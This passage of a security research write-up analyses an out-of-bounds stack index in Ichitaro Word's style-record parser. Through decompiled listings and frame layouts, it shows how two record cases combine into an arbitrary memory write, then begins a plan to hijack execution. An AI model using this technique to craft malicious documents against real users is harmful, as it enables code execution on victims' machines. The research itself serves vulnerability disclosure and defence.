Using the default stream names found within a document produced by the application, each of the binaries belonging to the application can be searched to determine which libraries reference the corresponding stream name. The following command demonstrates a search of that kind.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Once the correct binaries have been identified, the strings can simply be cross-referenced to identify a list of candidates that might be used to interact with the corresponding stream. In the following screenshot, each of the stream names is located near to each other. After the list of candidate functions has been identified, that list can then be used to set breakpoints with a debugger and then used to enumerate the functions that are relevant to parsing the document.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Discovery

The discovery of the bug in question starts with identifying the location of the stream names, enumerating instruction references to them, and then finding the common caller that is shared by each reference. This was done in the following screenshot using the IDA Python script which takes the list of selected addresses, fetches each of their executable references, groups each of them into separate sets and then finds the common intersection of all the sets. This results in a single function address being responsible for the selected stream names.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

After reviewing the function associated with the discovered address, 0x3BE25803, it appears to reference all of the stream names that were listed out of the empty document and are used as some form of initialization. Upon running the application with a breakpoint set to this address, our debugger will confirm that this code is executed upon opening the document. Examining the backtrace during the same debugging session then gives us a straightforward path to identify how the application parses streams from the document.

The function at 0x3BE25803 then has a single caller at 0x3C1FAF0F that can be navigated to in our disassembler. From this caller, each function that is called by it can be used to identify other places where stream names from the document are referenced. This is a common pattern that can be used to map each stream name to a function that is either responsible for parsing said stream or initializing the scope of variables that are later used when parsing the stream.

int __thiscall object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(
        object_9c2044 *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_documentType_4,
        int av_flags_8,
        int av_whichStream_c,
        _DWORD *ap_result_10)
{
  lp_this_64 = this;
  p_result_10.ap_unkobject_10 = (int)ap_result_10;
  lp_oframe_6c = ap_oframe_0;
  constructor_3a9de4(&lv_struc_38);
  lv_result_4 = 0;
  sub_3BE29547(lv_feh_60, 0xFFFF, 0);
...
  lv_struc_38.v_documentType_8 = av_documentType_4;
  lv_struc_38.v_initialParsingFlags_c = av_flags_8;
  lv_struc_38.p_owner_24 = lp_this_64;
  lv_struc_38.v_initialField(1)_10 = 1;
  lv_position_7c = 4;
  if ( av_whichStream_c == 1 || av_whichStream_c == 3 || av_whichStream_c == 4 )                // Determine which stream name to use
  {
    v9 = "DocumentViewStyles";
  }
  else
  {
...
    v9 = "DocumentEditStyles";
  }
  v10 = object_OFRM::openStreamByName?_132de4(lp_oframe_6c, v9, 16, &lp_oseg_68);               // Open up a stream by a name.
  if ( v10 != 0x80030002 )
  {
...
    *(_QWORD *)&lp_oframe_70 = 0i64;
    if ( object_OSEG::setCurrentStreamPosition_1329ce(lp_oseg_68, 0, 0, 0, 0) >= 0              // Read a two 16-bit integers for the header
      && object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_74)
      && object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_78) )
    {
      if ( (unsigned __int16)lv_ushort_74 <= 1u )
      {
        lv_struc_38.vw_version_20 = lv_ushort_74;
        lv_struc_38.vw_used_22 = lv_ushort_78;
...
        v12 = 0;
        for ( i = 4; ; lv_position_7c = i )                                                     // Loop to process contents of stream
        {
          v25 = v12;
          v14 = struc_3a9de4::parseStylesContent_3a7048(&lv_struc_38, lp_oseg_68, i, v12, av_whichStream_c, p_result_10, 0);
          v_result_8 = v14;
          if ( v14 == 0xFFFFFFE8 )
            break;
          if ( v14 != 1 )
            goto return(@edi)_3a78dd;
          i = lv_struc_38.v_header_long_4 + 6 + lv_position_7c;
          v12 = ((unsigned int)lv_struc_38.v_header_long_4 + 6i64 + __PAIR64__(v25, lv_position_7c)) >> 32;
        }
        v_result_8 = 1;
      }
...
  return v_result_7;
}

The listing shows the beginning of the function at 0x3C1FAF0F with the name object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be. This function references the DocumentViewStyles stream. Specifically, both the DocumentViewStyles and DocumentEditStyles strings are referenced next to each other separated by only a conditional. Hence, both streams likely use the same implementation to parse their contents and a parameter is used to distinguish between them. At the bottom of the same function is a loop that is likely used to process the variable-length contents of the streams. If we examine the function being called for each iteration of this loop, we will encounter the following function, which is of reasonable complexity and appears to process some number of record types using a 16-bit integer as their key. The shape of this function is shown in the following screenshot. 

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

The following list is a decompilation of the function from the previous screenshot that parses record types out of the stream. Exploring the different cases implemented by this method shows that it is responsible for parsing around 10 different record types. Most of the functions used to parse each individual record types are prefaced with a function that ensures that the necessary fields are constructed and initialized before processing its corresponding record. This implies that the conditional allocations involved with these fields can only be used once per instance of the document, and will need to already have been called to avoid the unpredictability of the data that is left on the stack during the exploitation process.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word
int __thiscall struc_3a9de4::parseStylesContent_3a7048(
        struc_3a9de4 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_position(lo)_4,
        int av_position(hi)_8,
        int av_currentStreamState?_c,
        frame_3a7048_arg_10 ap_unkobjectunion_10,
        frame_3a7048_arg_14 ap_nullunion_14)
{
  lv_result_4 = 0;
  p_oseg_0 = ap_oseg_0;
...
  v_documentType_8 = this->v_documentType_8;
  v_boxHeaderResult_0 = struc_3a9de4::readBoxHeader?_3a6fae(this, ap_oseg_0);
  if ( v_boxHeaderResult_0 != 31 )
  {
...
    vw_header_word_0 = (unsigned __int16)this->vw_header_word_0;                        // Check first 16-bit word from stream
    p_owner_24 = this->p_owner_24;
    lp_owner_8 = p_owner_24;
    if ( vw_header_word_0 > 0x2003 )
    {
      v_wordsub(2004)_0 = vw_header_word_0 - 0x2004;
      if ( v_wordsub(2004)_0 )
      {
        v_word(2005)_0 = v_wordsub(2004)_0 - 1;
        if ( !v_word(2005)_0 )
        {
          if ( av_currentStreamState?_c != 5 ) {                                        // Check for record type 0x2005
            struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
            p_styleObject_3a712c = struc_3a9de4::readStyleType(2005)_3a6bec(this, p_oseg_0, this->v_header_long_4, Av_parsingFlagField_8 == 3);
            goto returning(@eax)_endrecord_3a736f;
          }
          goto returning(1)_endrecord_3a70f9;
        }
        v_wordsub(2006)_0 = v_word(2005)_0 - 1;
        if ( v_wordsub(2006)_0 )
        {
          v_word(2007)_0 = v_wordsub(2006)_0 - 1;
          if ( v_word(2007)_0 )
          {
            v_word(2008)_0 = v_word(2007)_0 - 1;
            if ( !v_word(2008)_0 )
            {
...
              if ( p_object_60 )
              {

LABEL_93:
                p_styleObject_3a712c = object_9d0d30::readStyleType(2008)_391906(       // Process record type 0x2008
                                         p_object_60,
                                         p_oseg_0,
                                         this->v_header_long_4,
                                         Av_parsingFlagField_8,
                                         this->v_documentType_8,
                                         ap_unkobjectunion_10.ap_unkobject_10,
                                         &lv_result_4);
                goto returning(@eax)_endrecord_3a736f;
              }
              goto returning(@esi)_endrecord_3a7625;
            }
            if ( v_word(2008)_0 == 8 )
            {
...
                p_styleObject_3a712c = object_9d0d30::readStyleType(2010)_392cab(       // Process record type 0x2010
                                         field(64)_6bf3a6,
                                         p_oseg_0,
                                         this->v_header_long_4,
                                         Av_parsingFlagField_8,
                                         this->v_documentType_8,
                                         ap_unkobjectunion_10.ap_unkobject_10,
                                         (int)&lv_result_4);
                goto returning(@eax)_endrecord_3a736f;
              }
              goto returning(@esi)_endrecord_3a7625;
            }
            goto check_pushStream_3a73fe;
          }
...
        }
...
      }
...
      return p_result_3a705e;
    }
    if ( vw_header_word_0 == 0x2003 )
    {
      if ( (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
         && (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 0x204) & 0x40) != 0) && av_currentStreamState?_c != 5 )
      {
        struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
        p_field(38)_55 = object_10cbd2::get_field(38)_7b15a6(lp_owner_8->v_data_290.p_object_48, 0);
        p_styleObject_3a712c = object_9bd120::readStyleType(2003)_1d63a3(               // Process record type 0x2003
                                 p_field(38)_55,
                                 p_oseg_0,
                                 this->v_header_long_4,
                                 Av_parsingFlagField_8,
                                 ap_unkobjectunion_10.ap_unkobject_10);
        goto returning(@eax)_endrecord_3a736f;
      }
      goto returning(1)_endrecord_3a70f9;
    }
    v_wordsub(1000)_0 = vw_header_word_0 - 0x1000;
    if ( v_wordsub(1000)_0 )
    {
      v_wordsub(1001)_0 = v_wordsub(1000)_0 - 1;
      if ( !v_wordsub(1001)_0 )                                                         // Process record type 0x1001
      {
...
        p_styleObject_3a712c = object_9e5ffc::readStyleType(1001)_1b8cd2(p_object_190c, p_oseg_0, this->v_header_long_4, 0);
        goto returning(@eax)_endrecord_3a736f;
      }
      v_word(1001)_15 = v_wordsub(1001)_0 - 1;
      if ( !v_word(1001)_15 )                                                           // Process record type 0x1002
      {
        if ( av_currentStreamState?_c != 3 && av_currentStreamState?_c != 4
          && (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
           && (*(_DWORD *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x100) != 0) )
        {
...
          struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
          if ( ap_nullunion_14.object_e7480 )
          {
            p_styleObject_3a712c = object_e7480::readStyleType(1002)_77a7bf(
                                     ap_nullunion_14.object_e7480,
                                     p_oseg_0,
                                     this->v_header_long_4,
                                     v_documentType_8,
                                     Av_parsingFlagField_8,
                                     0);
            goto returning(@eax)_endrecord_3a736f;
          }
        }
        goto returning(1)_endrecord_3a70f9;
      }
      v_wordsub(1fff)_15 = v_word(1001)_15 - 0xFFE;
      if ( v_wordsub(1fff)_15 )
      {
        v_word(2000)_15 = v_wordsub(1fff)_15 - 1;
        if ( !v_word(2000)_15 )                                                         // Process record type 0x2001
        {
          if ( av_currentStreamState?_c == 5 )
          {
            p_field(34)_18 = object_10cbd2::get_field(34)_7b9e07(p_owner_24->v_data_290.p_object_48, 0);
            p_styleObject_3a712c = object_9bd0e4::readStyleType(2001)_1d24a9(
                                     p_field(34)_18,
                                     p_oseg_0,
                                     this->v_header_long_4,
                                     Av_parsingFlagField_8,
                                     this->v_documentType_8,
                                     ap_unkobjectunion_10.ap_unkobject_10);
            goto returning(@eax)_endrecord_3a736f;
          }
          if ( Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
            && (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x10) != 0 )
          {
            struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
...
            p_field(34)_1f->v_data_4.field_5a8 = 1;
            p_styleObject_3a712c = object_9bd0e4::readStyleType(2001)_1b8f99(
                                     p_field(34)_1f,
                                     p_oseg_0,
                                     this->v_header_long_4,
                                     Av_parsingFlagField_8,
                                     this->v_documentType_8,
                                     lp_unkobject_20,
                                     &lv_result_4);
            goto returning(@eax)_endrecord_3a736f;
          }
returning(1)_endrecord_3a70f9:
          lv_result_4 = 1;
          goto returning(@esi)_skipRecord_3a762b;
        }
        if ( v_word(2000)_15 == 1 )                                                     // Process record type 0x2002
        {
          if ( (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
             && (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x20) != 0)
            && av_currentStreamState?_c != 5 )
          {
            struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
            field(3c)_109b2a = object_10cbd2::get_field(3c)_109b2a(lp_owner_8->v_data_290.p_object_48, 0);
            p_styleObject_3a712c = object_9bd184::readStyleType(2002)_1cdcf6(
                                     field(3c)_109b2a,
                                     p_oseg_0,
                                     this->v_header_long_4,
                                     Av_parsingFlagField_8,
                                     ap_unkobjectunion_10.ap_unkobject_10);
            p_result_3a705e = p_styleObject_3a712c;
            goto returning(@esi)_endrecord_3a7625;
          }
          goto returning(1)_endrecord_3a70f9;
        }
...
      }
...
    }
...
    if ( av_currentStreamState?_c == 3 )                                                // Process record type 0x1000
    {
      object_9e5ffc = (object_9e5ffc *)p_object_c->v_data_4.p_object_190c;
      if ( object_9e5ffc )
      {
        p_styleObject_3a712c = object_9e5ffc::readStyleType(1000)_1b6bf7(object_9e5ffc, p_oseg_0, this->v_header_long_4, this);
        goto returning(@eax)_endrecord_3a736f;
      }
    }
    else
    {
      if ( av_currentStreamState?_c == 4 )
      {
        p_styleObject_3a712c = object_9c2044::readStyleType(1000)_4d951d(
                                 p_owner_24,
                                 p_oseg_0,
                                 this->v_header_long_4,
                                 (frame_3a7048_arg_10)ap_unkobjectunion_10.ap_unkobject_10);
        goto returning(@eax)_endrecord_3a736f;
      }
...
    }
    struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
    object_9e5ffc = ap_nullunion_14.object_9e5ffc;
    goto readStyleType(1000)_3a7365;
  }
  return 0xFFFFFFE8;
}

The first set of conditions that are listed in the decompilation leads to the parser for record type 0x2005. The second case, as per the decompilation, is used to parse record type 0x2008. It is this record type that contains the entirety of the vulnerability leveraged by this document.

The next listing shows the parser for record type 0x2008. In it, we can immediately spot a static-sized array due to the loop that initializes it. After a closer look at the references to this array, the function uses an index to access elements of the array without checking their boundaries. Immediately after fetching an item from the array, the item is then written to. Thus, this out-of-bounds index is made significantly more useful due to it being used for writing into a constant-sized array.

int __thiscall object_9d0d30::readStyleType(2008)_391906(
        object_9d0d30 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_size_4,
        int av_someFlag_8,
        int av_documentType_c,
        int ap_nullobject_10,
        int *ap_unusedResult_14)
{
...
  v34 = 0;
  p_object_14 = this->v_data_20.p_object_14;
...
  v9 = JSFC::malloc_181e(sizeof(object_9d14a0));
...
  if ( v9 )
    v10 = object_9d14a0::constructor_38cb12(v9, this->v_data_20.p_object(9c2044)_c, this);
...
  this->v_data_20.p_object_14 = v10;
  object_9d14a0::addSixObjects_38cb7d(v10);
  for ( i = 0; i < 6; ++i )                                                                     // Loop for an array with a static length
    lv_objects(6)_6c[i] = object_9d14a0::getPropertyForItemAtIndex_37a71d(this->v_data_20.p_object_14, i);
...
  while ( lvw_case_84 != 0xFFFF )                                                               // Keep reading records until 0xFFFF
  {
    switch ( lvw_case_84 )
    {
      case 0u:                                                                                  // Case 0-4,6,8,9 are similar.
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v25) )
          goto LABEL_47;
        lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(0)_14 = v25;
        goto LABEL_51;
...
      case 5u:                                                                                  // Case 5
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
...
        wstringtoggle_7fb182::initialize_7fb182(&v15, lv_wstring(28)_54);
        LOBYTE(v34) = 0;
        object_9d15a0::moveinto_field(20,2c)_6c0780(lv_objects(6)_6c[lvw_index_70], v15);
        goto LABEL_51;
...
      case 7u:                                                                                  // Case 7
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
          goto LABEL_47;
        lv_size_74 += 0xFFFC;
        if ( !arena_reader::read_int_6b5bc1(&lv_triple_80, &v17) )
          goto LABEL_47;
        lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(7)_38 = v17;
        goto LABEL_51;
...
      default:
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_size_74) )
          goto LABEL_47;
        break;
    }
    while ( lv_size_74 )
    {
      if ( !arena_reader::read_byte_405b6c(&lv_triple_80, &lvb_85) )
        goto LABEL_47;
      lv_size_74 += 0xFFFF;
    }
...
  }
...
}

The index is used to refer to the correct element in an array of pointers to an object. This object, object_9d15a0, is 0x68 bytes in size and is primarily composed of integer fields that are used to store data read from the current stream. Thus, the vulnerability enables us to write data to one of the object’s fields depending on which case was read during parsing. Examining each of the cases individually, there are three ways in which the implementation may be written to object_9d15a0.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

The first class involves dereferencing a pointer from the indexed object and then writing a 16-bit integer zero-extended to 32 bits to the target of the pointer.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

The second class also involves dereferencing a pointer but allows us to write a 32-bit integer to the pointer's target.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

The third class is slightly more complex, but it appears to write a reference to a short object of some kind that contains an integer that can be set to 1 or 2, and a pointer that can be freed depending on the value of that integer. Of these three classes, the 32-bit integer write seems to be the most useful unless we plan to write a length where the high 16-bits are always cleared.

After the pointer for any of these classes has been dereferenced, the integer that is decoded from the stream is written to a field within the dereferenced object. Examining each individually shows us exactly which field of the object will be written to. It appears that depending on the case that we choose, our decoded integer will end up being written within the range +0x34 to +0x60 of the object. As only the 32-bit integer and possibly the short object cases appear to be of use, we will take note of the field they write to, and use that field to locate something useful to overwrite. Specifically, we take note that the short object type is using case 0x5 and will result in writing to offset +0x4c, whereas the 32-bit integer type for case 0x7 will end up writing to offset +0x58.

Python>struc.by('object_9d15a0').members
<class 'structure' name='object_9d15a0' size=0x68>
[0]  0+0x4                     int 'p_vftable_0' (<class 'int'>, 4)     # [vftable] 0x3c4515a0
[1]  4+0x1c JSFC::CCmdTarget::data 'v_data_4'    <class 'structure' name='JSFC::CCmdTarget::data' offset=0x4 size=0x1c>
[2] 20+0x48    object_9d15a0::data 'v_data_20'   <class 'structure' name='object_9d15a0::data' offset=0x20 size=0x48>

Python>struc.by('object_9d15a0').members[2].type.members
<class 'structure' name='object_9d15a0::data' offset=0x20 size=0x48>
[0]  20+0x4                  int 'p_vftable_0'             (<class 'int'>, 4)
[1]  24+0x4                  int 'p_vftable_4'             (<class 'int'>, 4)
[2]  28+0x2              __int16 'field_8'                 (<class 'int'>, 2)
[3]  2a+0x2              __int16 'field_A'                 (<class 'int'>, 2)
[4]  2c+0x4                  int 'field_C'                 (<class 'int'>, 4)
[5]  30+0x4       object_9d0d30* 'p_owner_10'              (<class 'type'>, 4)
[6]  34+0x4                  int 'v_typeField(0)_14'       (<class 'int'>, 4)   # [styleType2008] 0x0
[7]  38+0x4                  int 'v_typeField(1)_18'       (<class 'int'>, 4)   # [styleType2008] 0x1
[8]  3c+0x4                  int 'v_typeField(2)_1c'       (<class 'int'>, 4)   # [styleType2008] 0x2
[9]  40+0x4                  int 'v_typeField(3)_20'       (<class 'int'>, 4)   # [styleType2008] 0x3
[10] 44+0x4                  int 'v_typeField(9)_24'       (<class 'int'>, 4)   # [styleType2008] 9
[11] 48+0x4                  int 'v_typeField(4)_28'       (<class 'int'>, 4)   # [styleType2008] 0x4
[12] 4c+0x8 wstringtoggle_7fb182 'v_typeFieldString(5)_2c' <class 'structure' name='wstringtoggle_7fb182' offset=0x4c size=0x8> # [styleType2008] 5
[13] 54+0x4                  int 'v_typeField(6)_34'       (<class 'int'>, 4)   # [styleType2008] 0x6
[14] 58+0x4                  int 'v_typeField(7)_38'       (<class 'int'>, 4)   # {'styleType2008': 7, 'note': 'writes 4b integer'}
[15] 5c+0x4                  int 'v_typeField(8)_3c'       (<class 'int'>, 4)   # [styleType2008] 0x8
[16] 60+0x4                  int 'field_40'                (<class 'int'>, 4)
[17] 64+0x4     JSFC::SomeString 'v_string_44'             <class 'structure' name='JSFC::SomeString' offset=0x64 size=0x4>

Referencing the listing, each of the fields that are being written to are named as v_typeField(case)_offset. When parsing the 0x2008 record type, the integer decoded out of the stream will be written to either one of these fields. It is worth noting that the field v_typeField(7)_38 for case 7 will allow us to write a full 32-bit integer, the field v_typeFieldString(5)_2c for case 5 will allow us to write a pointer to a 16-bit character string, and the other fields will allow us to write a 32-bit integer zero-extended from a 16-bit integer. The only thing left to do is to write a proof-of-concept demonstrating the out-of-bounds index being used to dereference a pointer, and then write to our desired field.

Mitigations

After identifying the vulnerability, we can immediately check the mitigations that have been applied to the target to get a better idea of what might be a hindrance to the exploitation of our write candidates. By examining the modules in the address space, we can see that DEP (W^X) is enabled, but ASLR is not for some of the listed modules. This greatly simplifies things, since our vulnerability allows us to overwrite practically anything within these listed modules. Because of this, we won't need to do much else other than write to a known address to hijack execution.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

In the following screenshot, we also notice that the target uses frame pointers and stack canaries to protect them from being overwritten. This won't directly affect the exploitation of this vulnerability but could affect any code we might end up re-purposing once we earn the ability to execute code.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Leveraging the vulnerability

Now that we've identified anything that might add to the complexity of our goals, we can revisit the vulnerability and expand on it. The first thing we'll need to do is to control the pointer that will be dereferenced. Our pointer will be located on the stack, so we'll need to get data that is parsed from the stream by the application to be located on the stack so that we can use our out-of-bounds index to dereference it.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Examining the scope of the vulnerability shows that it has a call stack depth of three, from when the document starts to parse the streams from the document at object_9c2044::method_processStreams_77af0f. This depth represents the part of the application where we control input and contains the logic by which we can influence the application with our document. Any data that is read from the file will only be available from one of the methods within this scope.

int __thiscall object_9c2044::method_processStreams_77af0f(
        object_9c2044 *this,
        JSVDA::object_OFRM *ap_oframe_0,
        unsigned int av_documentType_4,
        unsigned int av_flags_8,
        struc_79aa9a *ap_stackobject_c,
        int ap_null_10)
{
...
  lp_oframe_230 = ap_oframe_0;
  lp_stackObject_234 = ap_stackobject_c;
...
  if ( !lv_struc_24c.lv_flags_10 )
  {
LABEL_42:
    lv_struc_24c.field_14 = av_flags_8 & 0x800;
    v10 = object_9c2044::parseStream(DocumentViewStyles)_3a790a(this, ap_oframe_0, av_documentType_4, av_flags_8);          // "DocumentViewStyles"
    if ( v10 == 1 )
    {
      v10 = object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(this, lp_oframe_230, av_documentType_4, av_flags_8);      // "DocumentEditStyles"
      if ( v10 == 1 )
      {
        v10 = object_10cbd2::processSomeStreams_778971(
                this->v_data_290.p_object_48,
                lp_oframe_230,
                av_documentType_4,
                av_flags_8);
        if ( v10 == 1 )
        {
...
          v10 = object_9c2044::decode_substream(Toolbox)_3a6a7b(this, lp_oframe_230);                                       // "Toolbox"
          if ( v10 == 1 )
          {
            v10 = object_9c2044::decode_stream(DocumentMacro)_3a680a(this, lp_oframe_230, av_documentType_4);               // "DocumentMacro"
            if ( v10 == 1 )
            {
              v10 = sub_3BE25803(this, lp_oframe_230, av_flags_8);
              if ( v10 == 1 )
              {
                v10 = JSVDA::object_OFRM::decode_stream(Vision_Sidenote)_77310e(this, lp_oframe_230);                       // "Vision_Sidenote"
                if ( v10 == 1 )
                {
                  v10 = object_9c2044::decode_stream(MergeDataName)_3a55d3(this, lp_oframe_230);                            // "MergeDataName"
                  if ( v10 == 1 )
                  {
                    v10 = object_9c2044::decode_stream(HtmlAdditionalData)_3a5445(this, lp_oframe_230, av_documentType_4, lp_stackObject_234, 0);
...
                  }
                }
              }
            }
          }
        }
      }
    }
...
  }
  return v10;
}

/** Functions used to parse both the "DocumentViewStyles" and "DocumentEditStyles" streams. **/
int __thiscall object_9c2044::parseStream(DocumentViewStyles)_3a790a(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
  object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc);
  this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc = 0;
  return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 1, 0);
}

int __thiscall object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
  object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8);
  this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8 = 0;
  return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 2, 0);
}

From a cursory glance at the object_9c2044::method_processStreams_77af0f method in the listing, it seems that the stream of interest is one of the first two streams that are being parsed by the application. This implies that there is not much logic that is executed between the document being opened and our vulnerability being reached. To influence the state of the application before our vulnerability, we are limited only to the logic related to parsing the streams containing the document styles. If we end up hijacking execution at any time within the vulnerability's scope, we'll need some way of maintaining control afterward to modify the permissions of whatever page we plan on loading.

Exploring some of the other stream parsers seems to show that virtual methods are called upon by some objects to read from the stream. These exist in a writable part of some of the available modules, so we can likely overwrite them globally if we determine it necessary. However, this would also result in the "breaking" of that functionality for the entire application since the virtual method would not be usable anymore.

Since our write is happening at the beginning of the application parsing the document, anything we overwrite would have to be used by the one or two streams that read data from the file. Performing a rudimentary query on the parsers for the record types belonging to both the DocumentViewStyles and DocumentEditStyles streams show that nothing is being read dynamically into the heap or any other means, and so we'll have to use our vulnerability to write the entire payload and anything else we might need.

Python> func.frame(0x3BE11906).members
<class 'structure' name='$ F3BE11906' offset=-0xcc size=0xe4>
     -cc+0x10                                          [None, 16]
[0]  -bc+0x4                  int 'var_B4'             (<class 'int'>, 4)
[1]  -b8+0x4                  int 'var_B0'             (<class 'int'>, 4)
[2]  -b4+0x2              __int16 'var_AC'             (<class 'int'>, 2)
...
[13] -8d+0x1                 char 'lvb_85'             (<class 'int'>, 1)
[14] -8c+0x2              __int16 'lvw_case_84'        (<class 'int'>, 2)
     -8a+0x2                                           [None, 2]
[15] -88+0xc         arena_reader 'lv_triple_80'       <class 'structure' name='arena_reader' offset=-0x88 size=0xc>
[16] -7c+0x4                  int 'lv_size_74'         (<class 'int'>, 4)
[17] -78+0x2              __int16 'lvw_index_70'       (<class 'int'>, 2)
[18] -76+0x2              __int16 'var_6E'             (<class 'int'>, 2)
[19] -74+0x18   object_9d15a0*[6] 'lv_objects(6)_6c'   [(<class 'type'>, 4), 6]
[20] -5c+0x50         wchar_t[40] 'lv_wstring(28)_54'  [(<class 'int'>, 2), 40]
[21]  -c+0x4                  int 'var_4'              (<class 'int'>, 4)
[22]  -8+0x4              char[4] ' s'                 [(<class 'int'>, 1), 4]
[23]  -4+0x4              char[4] ' r'                 [(<class 'int'>, 1), 4]
[24]   0+0x4  JSVDA::object_OSEG* 'ap_oseg_0'          (<class 'type'>, 4)
[25]   4+0x4                  int 'av_size_4'          (<class 'int'>, 4)
[26]   8+0x4                  int 'av_someFlag_8'      (<class 'int'>, 4)
[27]   c+0x4                  int 'av_documentType_c'  (<class 'int'>, 4)
[28]  10+0x4                  int 'ap_nullobject_10'   (<class 'int'>, 4)
[29]  14+0x4                 int* 'ap_unusedResult_14' (<class 'type'>, 4)

This listing shows the layout of the entire frame belonging to the object_9d0d30::readStyleType(2008)_391906 method which contains our vulnerability. In this layout, the lv_objects(6)_6c field contains the six-element array of pointers that our index is used with. This means that we'll be dereferencing a pointer relative to this array. Right after this array is a buffer before the canary protecting the caller's frame pointer and address. If we cross-reference this field, we can see that it is referenced during the processing of case 5

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

In case 5, the implementation will read two 16-bit fields, containing the index and size. This size is checked against the 0x66 constant before it is used to read an array of 16-bit integers into the referenced buffer of 0x50 bytes in size. After being checked against 0x66, the size is aligned to a multiple of 2 and then verified that it is less than 0x42. If the length verification fails this time, the __report_rangecheckfailure function will immediately terminate execution.

If this check is passed, the array that was read will be used to construct the prior-mentioned short object and then written to the array of six objects that are located on the stack. There is no other code within this function that uses this 16-bit integer array, and since it is used to temporarily store the array of 16-bit integers read from the file, we can reuse its space to store any pointers that we will want to use during exploitation.

Vulnerability's capabilities

Moving back to the proof-of-concept, we'll need to combine the two mentioned cases for record 0x2008, so that we can emit the necessary records to write to an arbitrary address. Case 5, allows us to store an array of 16-bit integers into a buffer, so we will use this to store the pointers that will be dereferenced to the lv_wstring(28)_54 field. Case 7, allows us to specify an out-of-bounds index and so we can specify an index that will dereference a pointer from the lv_wstring(28)_54 field that we loaded with case 5. The combination of these two types allows us to write a controlled 32-bit integer to a controlled address.

Due to the limit of our scope, with the vulnerability being at the very beginning of the document being parsed, we are restricted in that we must use the vulnerability to load the entirety of our payload within the application’s address space. This implies that we’ll need to promote the primitive 32-bit write to an arbitrary address into a primitive that allows us to write an arbitrary amount of data to an arbitrary address. If we use the same technique of one record with type 5 followed by a record of type 7, this would result in a size cost of six bytes composed of the type, size, and index, followed by 32 bits for the integer or the address (10 bytes in total). Since both record types are being used, the overhead would be 20 bytes for every 32-bit integer that we wish to write. Fortunately, this overhead can be reduced due to there being more space within the lv_wstring(28)_54 field that we can use to store each address that will need to be written to.

The upper bound of the size before __report_rangecheckfailure is 0x42 bytes and we will need to include extra space for the null-terminator at the beginning of the string. This will allow us to load 15 addresses for every type 5 record using 0x46 bytes. Then using a type 7 record for each integer to write will result in the cost being 10 bytes per 32-bit integer, an improvement. To accommodate an amount of data that is not a multiple of 4, we simply write an unaligned 32-bit integer at the end for the extra bytes and proceed to fill the space before as described. After implementing these abstractions in our exploit, the next step is to figure out what to hijack.

Hijacking execution

As we can write anywhere within the address space, we could overwrite some global pointers to hijack execution. But, if we review the code within and around our immediate scope, the only virtual methods that are available to hijack are only used for reading the contents of the current stream being parsed. If we examine the contents of these objects, it turns out that there is absolutely nothing inside them that contains useful data or even pointers that may allow us to corrupt other parts of the application. As such, we need to hope that something we can influence with the contents of the stream resides at a predictable place in memory. 

Python> struc.by('JSVDA::object_OSEG')
